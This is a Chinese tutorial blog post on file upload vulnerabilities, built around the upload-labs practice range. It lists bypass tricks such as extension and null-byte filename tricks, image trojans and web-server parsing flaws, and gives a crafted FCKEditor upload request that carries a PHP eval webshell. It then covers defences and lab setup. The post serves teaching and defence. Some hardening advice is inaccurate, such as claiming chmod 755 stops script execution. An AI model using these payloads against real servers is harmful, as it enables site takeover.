文件上传漏洞详解

一、基础概念与危害

1. 定义

     服务器未对上传文件进行严格验证/过滤,导致攻击者上传恶意文件(如WebShell),进而控制网站或服务器。

2. 危害  

  • 代码执行(直接上传PHP/ASP木马)
  • 数据泄露(上传包含敏感信息的文件)
  • 服务器入侵(通过WebShell执行系统命令)

二、核心绕过技术

1. 客户端验证绕过

JS验证绕过(Pass-01)  

  • 原理:直接修改前端JS校验逻辑,绕过文件类型检查。
  • 操作:使用浏览器开发者工具删除或注释JS校验代码。

2. 服务端验证绕过

MIME类型绕过(Pass-02)

  • 修改`Content-Type`字段(如将`image/png`改为`application/octet-stream`)。

黑名单绕过  

    文件扩展名绕过  
  • 利用黑名单未覆盖的扩展名(如`.phtml``.htaccess`)。  
  • 示例:上传`.php3`文件(需服务器支持解析)。

  特殊字符绕过  

  • 空格绕过(Pass-06):文件名后加空格(如`shell.php `)。  
  • 点绕过(Pass-07/08):添加额外`.`(如`shell.php.`)或`::$DATA`(Windows特性)。

大小写绕过(Pass-05)

  • 利用服务器对大小写不敏感的特性(如`ShEll.Php`)。

0x00截断(Pass-11/12  

  • 原理:利用C语言字符串以`0x00`结尾的特性,截断文件名。  
  • Payload`filename="shell.php%00.jpg"``%00`为URL编码的`0x00`)。

图片木马(Pass-13/14/15)

  • 生成方法`copy 1.jpg/b + shell.php/a webshell.jpg`  
  • 利用条件:服务器仅验证文件头(如`GIF89a`),实际执行PHP代码。

 解析漏洞(Pass-18/19)  

  • Apache解析漏洞:利用多后缀解析(如`shell.php.rar`)。  
  • IIS解析漏洞`.asp;1.jpg`被解析为ASP文件。  
  • Nginx解析漏洞`shell.jpg/1.php`触发PHP解析。

三、实战案例与工具

1. Pass-03(黑名单验证)  

  • 利用Apache对`.phtml`的解析能力,上传`.phtml`文件。

2. Pass-10(PPHPHP绕过)  

  •  利用`str_ireplace`函数不区分大小写的特性,绕过黑名单(如`pphp`绕过`php`)。

3. Pass-16(二次渲染绕过)  

  • 使用GIF89a头部保留恶意代码,上传后通过文件包含漏洞执行。

4. 编辑器漏洞(FCKEditor)  

  • 构造恶意请求上传木马:  
 bash
     POST /fckeditor/editor/filemanager/connectors/php/connector.php HTTP/1.1
     Content-Type: multipart/form-data; boundary=...
     --boundary
     Content-Disposition: form-data; name="NewFile"; filename="shell.php"
     Content-Type: image/jpeg
     GIF89a<?php eval($_POSTcmd);?>
     --boundary--

四、防御策略

1. 输入验证  
  • 白名单校验文件扩展名(如仅允许`.jpg``.png`)。
  • 使用`getimagesize()`验证图片头信息。
2. 文件重命名  
  • 上传后重命名文件,避免保留原始文件名。
3. 目录权限控制  
  • 上传目录设置为不可执行脚本(如Linux `chmod 755`)。
4. 环境加固  
  • 禁用危险函数(如`eval()``system()`)。
  • 升级PHP至安全版本(如禁用`magic_quotes_gpc`)。

五、工具与环境

1. 靶场搭建  
  • 使用`upload-labs`靶场(推荐PHP 5.2.17环境)。
  • Docker环境部署(如Vulhub集成漏洞环境)。
2. 辅助工具  
  • Burp Suite:拦截并修改HTTP请求。
  • sqlmap:检测文件包含漏洞。
  • HackBar:手动构造恶意请求。

六、典型漏洞复现

1. IIS6解析漏洞  
  • 创建`test.asp;.jpg`文件,访问时被解析为ASP。
2. Apache换行解析漏洞(CVE-2017-15715)  
  • 在文件名中插入`\x0A`(如`shell.php%0a`),绕过检测。

七、总结

     文件上传漏洞的本质是服务端校验不足,需结合输入过滤、输出编码和权限控制综合防御。实战中需关注协议特性(如HTTP头注入)、服务器解析逻辑差异(如IIS/Apache/Nginx行为不一致)及编码绕过技巧(如%00截断、双重编码)。
注:具体操作需在合法授权的实验环境中进行,切勿非法测试。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值